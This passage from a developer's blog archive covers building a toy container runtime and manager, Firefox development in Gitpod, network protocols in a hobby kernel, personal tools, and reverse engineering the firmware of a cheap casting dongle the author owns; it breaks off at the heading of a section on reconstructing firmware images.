Yacs saves the output of the container process in a JSON file (called a “log file”) to read the output after the container process has died (useful for container managers). We can use the HTTP API to fetch these logs:

$ curl --unix-socket /home/gitpod/.run/yacs/alpine/shim.sock http://shim/logs
[...]
{"m":"Hello!","s":"stdout","t":"2022-06-12T11:51:44.947554491Z"}
{"m":"Hello!","s":"stdout","t":"2022-06-12T11:51:45.948493454Z"}

Each line in a log file is a JSON object with the output message (m), the stream (s) and the timestamp (t). Container managers can then implement a logs command that can read this log file and print each message to the right stream (stdout or stderr).

Yacs also supports console sockets. In which case, logs are not available. The HTTP API supports other commands to send signals to a container, delete it and even terminate the shim itself.

Yaman: Yet another (container) manager

With a somewhat functional runtime and a shim that could do a few things correctly, I decided to look into container managers (like Docker and Podman).

My initial idea was to write the minimum amount of code to use an existing Docker image with the two tools I had written and without Docker. Ha, ha.

I ended up writing a daemon-less container manager that creates and manages rootless containers. These containers can even reach the Internet (which isn’t a given)! I tried to make container IOs work correctly as well, with support for interactive mode and pseudo-terminal.

It was actually “simpler” to implement a daemon-less manager than implementing a daemon with an API and a client CLI to talk to it. I also find this approach more elegant in general but that’s my personal opinion.

Examples

The first example pipes wttr.in to a first container that reads from its standard input (stdin) in order to call wget, which will print its output to stdout (workaround for not having curl in the container). This first container should be automatically removed when it exits because the --rm option has been specified.

The output of the first container is piped into a second container (running an “alpine” image from a different registry), which will only take the first 7 lines of the input it receives.

We then get the final output of these commands into our terminal 🎉

$ echo 'wttr.in' \
  | yaman c run --rm --interactive docker.io/library/alpine -- xargs wget -qO /dev/stdout \
  | yaman c run --interactive quay.io/aptible/alpine -- head -n 7
Weather report: Freiburg im Breisgau, Germany

   _`/"".-.     Thundery outbreaks possible
    ,\_(   ).   17 °C
     /(___(__)  ↘ 4 km/h
      ⚡‘‘⚡‘‘  9 km
      ‘ ‘ ‘ ‘   0.0 mm

// We list all the containers and observe that the first container has been
// removed automatically. The second one is still listed.
$ yaman c ls -a
CONTAINER ID                       IMAGE                           COMMAND       CREATED          STATUS                      NAME
10bddbfd480c46ffbbc8a5005134e1d7   quay.io/aptible/alpine:latest   head -n 7     35 seconds ago   Exited (0) 35 seconds ago   bold_zhukovsky

// Even if the second container has exited, we can still fetch its logs. We ask
// Yaman to print the logs with the timestamps.
$ yaman c logs --timestamps 10bddbfd480c46ffbbc8a5005134e1d7
2022-06-21T07:04:06Z - Weather report: Freiburg im Breisgau, Germany
2022-06-21T07:04:06Z -
2022-06-21T07:04:06Z -    _`/"".-.     Thundery outbreaks possible
2022-06-21T07:04:06Z -     ,\_(   ).   17 °C
2022-06-21T07:04:06Z -      /(___(__)  ↘ 4 km/h
2022-06-21T07:04:06Z -       ⚡‘‘⚡‘‘  9 km
2022-06-21T07:04:06Z -       ‘ ‘ ‘ ‘   0.0 mm

The second example below shows that we can re-attach to a container started in detached mode (with terminal). This new container was created by runc and we specified a custom hostname:

$  yaman c run --rm --runtime runc --hostname ubuntu-demo -it -d docker.io/library/ubuntu
47988b8c7bde4f3d8e84568faea3e3f4

$ yaman c attach 47988b8c7bde4f3d8e84568faea3e3f4
root@ubuntu-demo:/# tty
/dev/pts/0
root@ubuntu-demo:/# ls
bin   dev  home  lib32  libx32  mnt  proc  run   srv  tmp  var
boot  etc  lib   lib64  media   opt  root  sbin  sys  usr
root@ubuntu-demo:/# cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04 LTS"

Internals

Under the hood, this container manager, named Yaman, relies on fuse-overlayfs in rootless mode, native OverlayFS in rootfull mode (e.g. when Yaman is executed with sudo) and slirp4netns for the network layer.

That has been a lot of work² and I took many shortcuts and introduced a few hacks to have a functional tool in the end. For example, images and layers management isn’t great to say the least. Yaman is full of limitations and probably bugs as well. Some of the known limitations have been documented. The other ones are yet to be found 🙈

Thanks to the power of abstractions and specifications, it is possible to use any OCI-compliant runtime with Yaman. That should make the whole thing a bit more reliable and secure³ 😬

Conclusion

I learned so much recently! If you want to know more about this work, you can find Yacr, Yacs and Yaman on GitHub. Feel free to try them out on Gitpod or locally using Vagrant.

I have been using Docker for many years without necessarily questioning why things were what they were or how this whole thing was actually working under the hood.

Now when I have a more specific question about Docker (or containerd or Podman), I can follow the source code and usually think “oh, that makes sense” or “ha, yeah, clever!”. This happened a few times lately and that put a smile on my face every time.

And it’s enough to consider this deep dive a good investment of my free time! ❤️

For instance, cgroups, capabilities and seccomp are not supported. ↩
Both the distribution spec and image spec have been helpful while implementing Yaman. ↩
No. ↩

Developing Firefox in Firefox with Gitpod

2022-05-03T00:00:00+00:00

Gitpod provides Linux-based development environments on demand along with a web editor frontend (VS Code). There is apparently no limit on what you can do in a Gitpod workspace, e.g., I ran my own toy kernel in QEMU in the browser.

I like Gitpod because it…

avoids potential issues when setting up a new project, which is great for the maintainers (e.g., it is easier to reproduce an issue when you have access to the same environment) and the newcomers (e.g., no fatal error when trying to contribute for the first time)
allows anyone to have access to a (somewhat) powerful machine because not everyone can afford a MacBook Pro. I suppose one needs a pretty reliable Internet connection, though

Motivations

My main machine runs MacOS. I also have a Windows machine on my desk (useful to debug annoying Windows-only intermittent failures), which I access with Microsoft Remote Desktop.

It looks like Gitpod, runs like Gitpod, and quacks like Gitpod but it isn’t Gitpod!

Except my ever growing collection of single-board computers, I don’t have a Linux-based machine at home^W work, though. I haven’t used Virtual Machines on Apple Silicon yet and I’d rather keep an eye on Asahi Linux instead.

This is why I wanted to give Gitpod a try and see if it could become my Linux environment for working on Firefox. Clearly, this is a nice to have for me (I don’t necessarily need to build Firefox on Linux) but that might be useful to others.

Assuming a Gitpod-based setup would work for me, this could possibly become a strong alternative for other contributors as well. Then, mayyybe I could start a conversation about it internally in the (far) future.

Note that this isn’t a novel idea, Jan Keromnes was already working on a similar tool called “Janitor” for Mozilla needs in 2015.

Firefox development with Gitpod = ❤️

I recently put together a proof of concept and played with it since then. This GitHub repository contains the Gitpod configuration to checkout the Firefox sources as well as the tools required to build Firefox.

It takes about 7 minutes to be able to run ./mach run in a fresh workspace (artifact mode). It is not super fast, although I already improved the initial load time by using a custom Docker image. It is also worth mentioning that re-opening an existing workspace is much faster!

./mach run executed in a Gitpod workspace

Gitpod provides a Docker image with X11 and VNC, which I used as the base for my custom Docker image. This is useful to interact with Firefox as well as observing some of the tests running.

A “mochitest” running in a Gitpod workspace

I don’t know if this is the right approach, though. My understanding is that Gitpod works best when its configuration lives next to the sources. For Firefox, that would mean having the configuration in the official Mozilla Mercurial repositories but then we would need hgpod.io 😅

On the other hand, we develop Firefox using a stacked diff workflow. Therefore, we probably don’t need most of the VCS features and Gitpod does not want to be seen as an online IDE anyway. I personally rely on git with the excellent git-cinnabar helper, and moz-phab to submit patches to Phabricator. Except for the latter, which can easily be installed with ./mach install-moz-phab, these tools are already available in Gitpod workspaces created with my repository.

In terms of limitations, cloning mozilla-unified is the most time-consuming task at the moment. Gitpod has a feature called Prebuilds that could help but I am not sure how that would work when the actual project repository isn’t the one that contains the Gitpod configuration.

In case you’re wondering, I also started a full build (no artifact) and it took about 40 minutes to finish 🙁 I was hoping to have better performances out of the box even if it isn’t that bad. For comparison, it takes [~15min on my MacBook Pro with M1 Max]¹ (and 2 hours on my previous Apple machine).

There are other things that I’d like to poke around. For instance, I would love to have rr support in Gitpod. I gave it a quick try and it does not seem possible so far, maybe because of how Docker is configured.

gitpod /workspace/gitpod-firefox-dev/mozilla-unified (bookmarks/central) $ rr record -n /usr/bin/ls
[FATAL /tmp/rr/src/PerfCounters.cc:224:start_counter() errno: EPERM] Failed to initialize counter

After a few messages exchanged on Twitter, Jan Keromnesjan (yeah, same as above) from Gitpod filed a feature request to support rr 🤞

Next steps

As I mentioned previously, this is a proof of concept but it is already functional. I’ll personally continue to evaluate this Linux-based development environment. If it gets rr support, this might become my debugging environment of choice!

Now, if you are interested, you can go ahead and create a new workspace automatically. Otherwise please reach out to me and let’s discuss!

One more thing: Mozilla employees (and many other Open Source contributors) qualify for the Gitpod for Open Source program.

This used to be a link to a tweet from me:

This new MBP 14” with M1 Max chip seems promising: keyboard feels nice, no distracting touch bar, and it compiles Firefox in less than 15 minutes! (vs ~2 hours with my previous machine)

↩

Moziversary #4

2022-05-01T00:00:00+00:00

Today is my fourth Moziversary 🎂 I have been working at Mozilla as a full-time employee for 4 years. I blogged two times before: in 2020 and 2021. What happened in 2019? I. Don’t. Know.

I was hired as a Senior Web Developer on addons.mozilla.org (AMO). I am now a Staff Software Engineer in the Firefox WebExtensions team. I officially joined this team in January. Since then, I became a peer of the Add-ons Manager and WebExtensions modules.

Farewell AMO!

As mentioned above, I moved to another team after many years in the AMO team. If I had to summarize my time in this team, I would probably say: “I did my part”.

Earlier this year, I transferred ownership of more than 10 projects that I either created or took over to my former (AMO) colleagues 😬 I was maintaining these projects in addition to the bulk of my work, which has been extremely diverse. As far as I can remember, I…

worked on countless user-facing features on AMO, quickly becoming the top committer on addons-frontend (for what it’s worth)
contributed many improvements to the AMO backend (Django/Python). For example, I drastically improved the reliability of the Git extraction system that we use for signed add-ons
developed a set of anti-malware scanning and code search tools that have been “a game changer to secure the add-ons ecosystem for Firefox”
introduced AWS Lambda to our infrastructure for some (micro) services
created prototypes, e.g., I wrote a CLI tool leveraging SpiderMonkey to dynamically analyze browser extension behaviors
almost integrated Stripe with AMO 🙃
shipped entire features spanning many components end-to-end like the AMO Statistics (AMO frontend + backend, BigQuery/ETL with Airflow, and some patches in Firefox)
created various dev/QA tools

Last but not least, I started and developed a collaboration with Mozilla’s Data Science team on a Machine Learning (security-oriented) project. This has been one of my best contributions to Mozilla to date.

What did I do over the last 12 months?

I built the “new” AMO blog. I played with Eleventy for the first time and wrote some PHP to tweak the WordPress backend for our needs. I also “hijacked” our addons-frontend project a bit to reuse some logic and components for the “enhanced add-on cards” used on the blog (screenshot below).

The AMO blog with an add-on card for the “OneTab” extension. The “Add to Firefox” button is dynamic like the install buttons on the main AMO website.

Next, I co-specified and implemented a Firefox feature to detect search hijacking at scale. After that, I started to work on some of the new Manifest V3 APIs in Firefox and eventually joined the WebExtensions team full-time.

I also…

wrote a blog post about the add-ons linter on the Community Blog
interviewed candidates (if you want to discuss, we’re hiring 😉)
took the time to meet new colleagues in a few donut chats
accidentally prevented huge unnecessary storage costs 😅

This period has been complicated, though. The manager who hired me and helped me grow as an engineer left last year 😭 Some other folks I used to work with are no longer at Mozilla either. That got me thinking about my career and my recent choices. I firmly believe that moving to the WebExtensions team was the right call. Yet, most of the key people who could have helped me grow further are gone. Building trustful relationships takes time and so does having opportunities to demonstrate capabilities.

Sure, I still have plenty of things to learn in my current role but I hardly see what the next milestone will be in my career at the moment. That being said, I love what I am doing at Mozilla and my team is fabulous ❤️

Thank you to everyone in the Add-ons team as well as to all the folks I had the pleasure to work with so far!

On writing a network stack (2/2)

2022-04-11T00:00:00+00:00

I am writing a minimum viable network stack from scratch for ArvernOS (a UNIX-like toy kernel). This two-part story describes some protocols of the TCP/IP stack as well as some implementation details in the context of ArvernOS.

In Part 1 of this two-part story, I presented some of the network protocols that I implemented when I started writing a network stack from scratch. In this second part, I continue to climb the different layers of this stack. After having introduced UDP, I’ll describe two “high” level network protocols: DHCP and DNS.

Figure 1: ArvernOS network stack in (early) 2022, which is divided into 5 layers (the TCP/IP model sits on top of a physical layer)

Figure 1 depicts the 5 different layers/protocols already implemented in ArvernOS: I chose to have a first distinct physical layer, and then we have the 4 layers of the TCP/IP model. This makes the first 4 layers of this model similar to the OSI model as well.

Again, each implementation is far from perfect but it is functional to some extents.

User Datagram Protocol (UDP)
Domain Name System (DNS)
Dynamic Host Configuration Protocol (DHCP)

User Datagram Protocol (UDP)

UDP is a communication protocol listed in the Transport layer of the TCP/IP model. This protocol is “not connected”, which means there is no end-to-end connection. It is considered unreliable because packets could be lost and the emitter wouldn’t have any (built-in) way to know that. On the other hand, this makes UDP simpler to implement (compared to TCP for instance).

💡 UDP in ArvernOS

Figure 2: The UDP implementation (Layer 4 in my model) is invoked by the lower layers on data received and relies on the other lower layers to send data

Like the other protocols introduced in the first article, the UDP implementation provides a pair of functions to send and receive data as depicted in Figure 2.

When receiving new packets, the udp_receive_packet() function is called by the IPv4 code when the protocol number in an IPv4 packet is 17. The second function, udp_send_packet(), allows to transmit UDP datagrams. Most of the code in this function is about computing a pseudo header checksum, which took me quite some time to get right. Wireshark seems happy now, though.

As far as I can remember, this initial UDP implementation was designed to [explore DNS]¹ (another protocol that I describe later in this article). Initially, it was only possible to receive UDP packets based on the destination port. Later, I added the concept of sockets and the UDP logic was adjusted a bit to retrieve the right socket for each packet received. That was an interesting problem so let’s talk about it in the next section.

Handling incoming packets

On many systems, sockets are used by a process to communicate with other processes (which can be running on different machines). In reality, when a user space application uses a socket, it only talks to the kernel network stack. The kernel is the one dealing with the hardware and the low level bits.

When the kernel receives incoming data on a network interface, it needs to know where to send the data next. In most cases, an application in the user space needs the data and that’s where sockets are useful. “All” the kernel has to do is to retrieve the right socket given an incoming packet. It is easier said than done, though.

In ArvernOS, socket descriptors own the relevant information (protocol, port, etc.) to be able to retrieve a socket given an incoming packet. This is currently done by calling descriptor_udp_lookup() in udp_receive_packet(). In order to support “raw” sockets, this PR adds a similar call to descriptor_raw_lookup() in ipv4_receive_packet().

In Linux, it is a bit different. In a Linux network driver, the incoming data is encapsulated into a sk_buff structure, which is eventually passed to the netif_rx() or netif_receive_skb() function. This is where the incoming packet starts to actually “climb” the network stack. For UDP, the function __udp4_lib_lookup() describes how the kernel retrieves a socket for a given UDP packet. The way Linux calls this function and forwards the packet to the socket is a bit hard to follow but this article explains it well.

Domain Name System (DNS)

DNS is a protocol used to associate a domain name with an IP address. Some people thought it’d be easier to remember github.com than 140.82.121.4. I would recommend to read [Julia Evans’ tweets about DNS]² if you want to learn more about this protocol from a “user perspective”. She covered many aspects of it!

DNS is part of the Application layer in the TCP/IP stack. It relies on a transport protocol to issue DNS queries. UDP (on port 53) is widely used and that’s what I implemented in ArvernOS. That being said, there are newer transport protocols available for DNS like DNS over HTTPS (DoH).

💡 DNS in ArvernOS

I followed these great DNS Primer notes to implement DNS in ArvernOS (see: kernel/net/dns.c). ArvernOS currently offers a single function named dns_lookup() to perform a blocking DNS lookup for a given domain name.

This function is also exposed to user space thanks to the gethostbyname2 system call, and the host program shows how that can be used:

Figure 3: ArvernOS (x86_64) running in QEMU. The host command has been executed several times with different domain names

Dynamic Host Configuration Protocol (DHCP)

DHCP is another protocol of the Application layer in TCP/IP, mainly used to automatically assign IP addresses to devices in a network. DHCP relies on UDP, and it works with 4 sequential “operations”:

Machine A advertises itself on the network. Something like this:

Hello? Hellooo?
If a DHCP server receives this request, it will make an offer:

Hey, I am the DHCP server. How about you use 192.168.1.234 as IP address? By the way, my IP is 192.168.1.1.
Machine A accepts the offer by explicitly requesting the IP address:

Okay, thanks DHCP server. Hello everyone, I am 192.168.1.234.
Last, the DHCP server acknowledges the request.

Got it!

From there, machine A has an IP address assigned. Wikipedia says DHCP is built on top of BOOTP, which stands for BOOTstrap Protocol. As such, it can be used to negotiate more information than just its own IP address.

Most of the time, it will be used to get an IP address, the IP of the gateway (“router”) and one or more DNS server IP addresses. The client should store the different IPs and use ARP to get the corresponding MAC addresses.

At this point, the machine should be able to talk to the gateway and the local DNS servers. This should be enough to reach the Internet!

💡 DHCP in ArvernOS

Figure 4: The DHCP implementation exposes two public functions like most of the other protocols implemented in ArvernOS

The DHCP implementation in ArvernOS follows the sequence described in the previous section (see: kernel/net/dhcp.c). This sequence starts with a call to the dhcp_discover() function during the kernel initialization (near the end). The implementation is fragile. It uses busy waiting and does not handle errors at all but that seems to be okay for QEMU’s DHCP server:

In QEMU, ArvernOS automatically gets its network configuration from DHCP. That includes its own IP address as well as the IP address of the gateway and a single DNS server.

Conclusion

In a similar manner, I added enough of the Network Time Protocol (NTP) to query a time server (see: kernel/net/ntp.c). TCP is the next big chunk of work. I haven’t started yet and that seems a lot more involved. We’ll see…

Other than that, ArvernOS is a toy project, not a production-ready kernel and it will never become one. If I had to build a new kernel or OS in the future, it wouldn’t be this project. As such, working on such features from scratch helps me gain deeper knowledge on various topics. That also allows me to appreciate existing solutions and give me a different perspective on things.

This used to be a link to a tweet from me:

I received my very first DNS packet in reply to a query crafted with my very own network stack ❤️

In other words, my little kernel is finally able to talk to the Internet and I am extremely happy!

[there was a picture with ArvernOS in QEMU and Wireshark]

↩
This used to be a link to a tweet from @b0rk:

life of a DNS query https://wizardzines.com/comics/life-of-a-dns-query/

↩

Some non-production tools I wrote

2022-03-29T00:00:00+00:00

This is a short article about 3 different tools I authored for my needs at Mozilla.

I worked on AMO for almost 4 years and created various libraries like pino-mozlog, pino-devtools or an ESLint plugin to name a few. These libraries have been created either to improve our developer experience or to fulfill some production requirements.

This isn’t the kind of projects I want to focus on in the rest of this article, though. Indeed, I also wrote “non-production” tools, i.e. some side projects to improve my day-to-day work. These tools have been extremely useful to me and, possibly, other individuals as well. I use most of them on a weekly basis and I maintain them on my own.

amo-info

I wrote a browser extension named amo-info. This extension adds a page action button when we open the web applications maintained by the AMO/Add-ons team. Clicking on this button reveals a pop-up with relevant information like the environment, git tag, feature flags, etc.

The amo-info extension displaying information about addons.mozilla.org.

If this sounds familiar to you, it might be because I already mentioned this project in my article about feature flags. Anyway, knowing what is currently deployed in any environment at any given time is super valuable, and this extension makes it easy to find out!

I recently added support for Firefox for Android but it only works in Nightly.

`git npm-release`

A different tool I use every week is the git npm-release command, which automates my process to release new versions of our JavaScript packages.

$ git npm-release -h
usage: git npm-release [help|major|minor|patch]

git npm-release help
        print this help message.
git npm-release major
        create a major version.
git npm-release minor
        create a minor version.
git npm-release patch
        create a patch version.

For most of our JavaScript projects, we leverage a Continuous Integration (CI) platform (e.g., CircleCI) to automatically publish new versions on the npm registry when a git tag is pushed to a GitHub repository.

The git npm-release command is built on top of hub, npm version and a homemade script to format release notes. Running this command will (1) update the package.json file with the right version, (2) make a git tag, (3) prepare the release notes and open an editor, (4) push the commit/tag to GitHub, and (5) create a GitHub release.

This process isn’t fully automated because (3) opens an editor with the pre-formatted release notes. I usually provide some more high level information in the notes, which is why this step requires manual intervention.

fx-attribution-data-reader

This is a tool I created not too long ago after telling a QA engineer that “he could simply open the binary in an hex editor” 😅 I can find my way in hex dumps because my hobbies are weird but I get that it isn’t everyone else’s cup of tea.

The fx-attribution-data-reader web application takes a Firefox for Windows binary and displays the attribution data that may be contained in it. Everything is performed locally (in the browser) but the results can also be shared (URLs are “shareable”).

The fx-attribution-data-reader tool with a binary loaded and parsed.

Currently, this is mainly useful to debug some add-ons related features and it is very niche. As such, this tool isn’t used very often but this is a good example of a very simple UI built to hide some (unnecessary) complexity.

Conclusion

I introduced three different tools that I am happy to use and maintain. Is it worth the time? I think so because it isn’t so much about the time shaved off in this case.

It is more about the simplicity and ease of use. Also, writing new tools is fun! I often use these ideas as excuses to learn more about new topics, be it programming languages, frameworks, libraries, or some internals.

SPI flash content analysis and firmware reconstruction

2022-03-10T00:00:00+00:00

I wrote a [Twitter thread about hardware hacking]¹ some time ago. The idea was to explain one way to obtain privileged access on a device. In this case, the target was a cheap Chromecast-like device (more on that below) and I “easily” got root access via UART.

This article explains how I reconstructed a modified firmware for this device.

Overview of the Chrome/Mira/Any-cast device

The target was a cheap Chromecast (or Miracast or Anycast) “clone” bought on Aliexpress (I am not sure because it was a “gift”). Such a device lets users cast audio and video on their TV as shown in Figure 1 (HDMI output). In addition to a HDMI connector, this device is bundled with an external WiFi adapter (USB).

Figure 1: A screenshot of the default HDMI output (taken with a capture card)

When the device is powered on for the first time, it creates a WiFi network, e.g., DONGLE-11BA8F. Users should first connect to this network with their smartphone or laptop, and configure the device using a web app as shown in Figure 2. This step is necessary to allow the device to connect to the user’s WiFi network.

Figure 2: Two screenshots of the web application

Once the device has restarted and joined the user’s WiFi network, users can theoretically send audio or video to the device and have it played on TV. According to the manual, this device should work with the “Chromecast protocol” but it didn’t work that well for me.

I was able to cast audio and pictures but not video. Google Home wasn’t able to communicate with the device in a stable manner. I tried many different applications on both iOS and Android and I wasn’t able to achieve much. I tried to upgrade the device but the remote server was not found… These are the reasons why I decided to “hack” this device.

Besides having fun, my goal was to find ways to “fix” this device either by updating the software or re-purposing it. I knew it’d be complex but also that I’d learn a lot. At the time of writing, I didn’t achieve my goal yet but I made good progress.

I explained how I gained access to a Linux console in the Twitter thread so I am not going to repeat myself here. Instead, the rest of this blog post describes what happened next.

Diving into the content of the SPI flash

I was left with a full dump of the SPI flash (the storage component of this device) and many questions. I used binwalk to get an overview of the content of the SPI flash.

The dump contained a Linux kernel (the three first entries in the output below) and two file systems: Journalling Flash File System version 2 (JFFS2) and SquashFS.

$ binwalk flash.dump
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
264192        0x40800         Linux kernel ARM boot executable zImage (little-endian)
280492        0x447AC         gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)
3292936       0x323F08        Flattened device tree, size: 49912 bytes, version: 17
4456448       0x440000        JFFS2 filesystem, little endian
5242880       0x500000        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 10778932 bytes, 412 inodes, blocksize: 524288 bytes, created: 2020-12-02 03:03:01

I kindly asked binwalk to extract the SquashFS partition:

$ ls squashfs-root/
bin/  build.prop*  etc/  fonts/  lib/  usr/  vendor/

In the Twitter thread, I mentioned that the device was running Android. This SquashFS partition is very likely the system partition. Among other things, it contains the content of the web application described in the previous section. Each page is a CGI ELF binary:

$ file squashfs-root/bin/home.cgi
squashfs-root/bin/home.cgi: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, stripped

After a few Google/GitHub searches, I had found extremely similar sources of these CGI files. None of these scripts seemed particularly interesting, though.

I also took a quick look at the JFFS2 partition, which appeared to be the data partition (of an Android-based system) but I didn’t find anything useful either.

Last, I used fdtdump to explore the device tree, i.e. the “hardware configuration” of this device for the Linux kernel (Android uses the Linux kernel). This gives an idea of which hardware may be present and how it should be used by the kernel, and it could be useful information later.

After that, I looked at the structure of the SPI flash.

MTD partitions

Based on the kernel logs I had captured when I was using the Linux console over serial, I knew the content was divided into 5 different partitions: loader, kernel, data, system and misc.

[    0.379500] Creating 5 MTD partitions on "rk29xxnand":
[    0.379538] 0x000000000000-0x000000040000 : "loader"
[    0.380859] 0x000000040000-0x000000440000 : "kernel"
[    0.382175] 0x000000440000-0x000000500000 : "data"
[    0.383466] 0x000000500000-0x000000ffd000 : "system"
[    0.384697] 0x000000ffd000-0x000000ffe000 : "misc"

Out of 5 MTD partitions, 3 have been seen previously: kernel, data and system. Note that the kernel partition starts at 0x40000 but binwalk found the zImage at 0x40800. We’ll get back to that in a moment. For data and system, the offsets in the binwalk output match the base addresses in the logs above.

This time, I used dd to split the original dump into different binary files based on the address ranges printed in the kernel logs above. I then looked at each file individually, and made the following observations:

kernel.bin is not recognized by file, weird.
although data.bin and system.bin are correctly detected as file systems by file, the .bin files extracted with dd seem different than the files extracted with binwalk. Maybe because binwalk tried to find magic numbers and metadata (like the size of the content it has to extract)? I am not sure.
misc.bin is an “empty” binary file.

$ file *.bin
loader.bin:  data
kernel.bin:  data
data.bin  :  Linux jffs2 filesystem data little endian
system.bin:  Squashfs filesystem, little endian, version 4.0, xz compressed, 10778932 bytes, 412 inodes, blocksize :  524288 bytes, created :  Wed Dec  2 03:03:01 2020
misc.bin  :  ISO-8859 text, with very long lines, with no line terminators

Given I had already analyzed the “data partitions” (data and system), I decided to study the loader and kernel partitions next.

The loader partition

I ran strings on the loader.bin file, which returned a few strings that I already read before. Indeed, this partition contains the code that loads the Linux kernel and some of the strings found in the binary appeared in the boot logs collected over serial:

DDR Version 1.08 20170609
In
DDR2
396MHz
BW=16 Col=10 Bk=8 Row=13 CS=1 Size=128MB
OUT
0 BUILD: Apr 13 2018 09:17:13, version: 1.24
sfc nor id: c2 20 18 10 3c
g_spi_flash_info id 0x00c22018.
AddrMode: 0
ReadLines: 0
ProgLines: 0
ReadCmd: 3
ProgCmd: 2
blkEraseCmd: d8
secEraseCmd: 20
boot_media = 0x10
flash vendor_storage_init
OK! 21154
loader flag: 0x0
start_linux=====258615
multi-entries loader - fw_status: 0x1, kernel_addr 200, 259 ms
enter LoadKernel @263 ms
hdr.loader_load_size= 2efa00
hdr.loader_load_addr= 62000000
load kernel data done @1043 ms
run kernel@0x62000000 =====1043 ms
loader update successfully =====1046 ms
<hit enter to activate fiq debugger>
[    0.000000] Booting Linux on physical CPU 0xf00
...

It looks like the bootloader is named “DDR” and the version is 1.08. I found binaries for other versions of this bootloader on the web but not for the version I had (huh?), and no source code.

I also ran hexdump on loader.bin and was faced with the following output:

00000000  52 4b 46 50 e4 07 0c 02  0b 03 0e 00 19 00 05 10  |RKFP............|
00000010  00 02 00 00 01 00 00 00  f0 7f 00 00 80 00 00 00  |................|
00000020  06 00 00 00 00 00 00 00  01 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000001f0  00 00 00 00 00 00 00 00  98 45 32 7b a8 8a fb fa  |.........E2{....|
00000200  76 65 6e 64 6f 72 00 00  00 00 00 00 00 00 00 00  |vendor..........|
00000210  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000220  01 00 00 00 08 00 00 00  38 00 00 00 00 70 00 00  |........8....p..|
00000230  00 00 00 00 01 00 00 00  00 00 00 00 00 00 00 00  |................|
...

I tried to find more information about the RKFP magic number. There isn’t a lot of information about it. This seems to be a proprietary image format but its structure is partially known and open source. I found the definitions of the different structures in rkflash_blk.h (Linux kernel) and this page helped a lot by providing additional context!

The kernel partition

I read the kernel.bin file with hexdump. The first few bytes are shown below:

$ hexdump -C part-kernel.bin
00000000  4b 45 52 4e 45 4c 00 00  00 00 00 00 00 00 00 00  |KERNEL..........|
00000010  00 00 00 62 00 fa 2e 00  cc ec ad 80 20 00 00 00  |...b........ ...|
00000020  7a 46 9d 1b 84 4d be a7  59 81 3a 48 d2 19 67 a4  |zF...M..Y.:H..g.|
00000030  79 9c d3 78 d9 3f d6 5a  c7 34 03 ec 1b 09 84 b9  |y..x.?.Z.4......|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
...

This looks like some kind of partition header. That’s odd because (1) the other partitions don’t appear to have any header like that, and (2) I only found RockChip tools that deal with images with KRNL as magic number, not KERNEL. Ugh.

In the hexdump output above, I noticed two values on the second line that looked familiar. Indeed, in the bootloader logs, there were these two lines:

hdr.loader_load_size= 2efa00
hdr.loader_load_addr= 62000000

The load address is therefore at offset 0x10 in this “kernel header”, and the (kernel?) size is at offset 0x15. Then we have another 4 bytes, which seems to be the CRC for this header. The next 4 bytes hold a value of 0x20 and that looks like the length of the following bytes (from 0x20 to 0x40). Some checksum, maybe? This could be the length of a SHA-256 hash.

After this header, there is some padding until offset 0x800 where we find some ARM instructions (00 00 A0 E1). This explains why binwalk found the kernel at 0x40800 before.

At this point, I had enough information about the content of the SPI flash. As stated at the top of this blog post, my goal was to fix this device. Writing a parser for these RKFP images would be a good first step to be able to update the firmware eventually.

Parsing RKFP images

I developed a tool in C to print information about RKFP images. I also found two other similar (SPI flash) dumps in the wild, allowing me to have more examples while developing my tool. In particular, it turned out that the image I had dumped myself had a CRC mismatch 😅

$ ./build/cli info flash.dump

Input file:
  name: flash.dump
  size: 16777216 bytes

Header:
  firmware tag           : RKFP
  firmware version       : 16.05.25
  release date           : 2020-12-02 at 11:03:14
  size                   : 512 bytes
  partition_offset       : 1 sectors
  backup_partition_offset: 32752 sectors
  partition_size         : 128 bytes
  partition_count        : 6
  fw_size                : 0 bytes
  partition_crc          : 0x7B324598
  header_crc             : 0xFAFB8AA8

CRC:
  WARNING! header CRC mismatch (got 0x74B94941)
  partition CRC: OK

Partition #00 - 0x00001000-0x00008000
  name     : vendor
  type     : 0x01
  offset   :     4096 bytes (0x1000)
  size     :    28672 bytes (0x7000)
  data size:    28672 bytes (0x7000)
  property : 0x00

Partition #01 - 0x00008000-0x00038000
  name     : IDBlock
  type     : 0x02
  offset   :    32768 bytes (0x8000)
  size     :   196608 bytes (0x30000)
  data size:    86016 bytes (0x15000)
  property : 0x00

Partition #02 - 0x00040000-0x00440000
  name     : kernel
  type     : 0x04
  offset   :   262144 bytes (0x40000)
  size     :  4194304 bytes (0x400000)
  data size:  3080708 bytes (0x2F0204)
  property : 0x00

Partition #03 - 0x00440000-0x00500000
  name     : data
  type     : 0x08
  offset   :  4456448 bytes (0x440000)
  size     :   786432 bytes (0xC0000)
  data size:   786432 bytes (0xC0000)
  property : 0x00

Partition #04 - 0x00500000-0x00FFD000
  name     : system
  type     : 0x0C
  offset   :  5242880 bytes (0x500000)
  size     : 11522048 bytes (0xAFD000)
  data size: 10780672 bytes (0xA48000)
  property : 0x00

Partition #05 - 0x00FFD000-0x00FFE000
  name     : misc
  type     : 0x0F
  offset   : 16764928 bytes (0xFFD000)
  size     :     4096 bytes (0x1000)
  data size:        0 bytes (0x0)
  property : 0x00

Most partitions were not new because they were listed as “MTD partitions” and I had already analyzed some of them. The tool found 6 RKFP partitions, though. Instead of having a loader partition, we had two partitions: vendor and IDBlock. “ID Block” is apparently a header for Rockchip BootRom.

Next, I wrote a new command (extract_rkfp) to extract the actual data located in each RKFP partition. It is worth mentioning that I later found the rkflashtool project, which offers a tool to unpack RKFP images too (among other things). Both this tool and mine were producing identical partition files.

At this point, I was able to read information from a RKFP image, verify the different CRCs and extract the data contained in each partition. I had two options: (1) stop there and forget about this project, or (2) find out how to make a RKFP image 😬

Reconstructing RKFP images

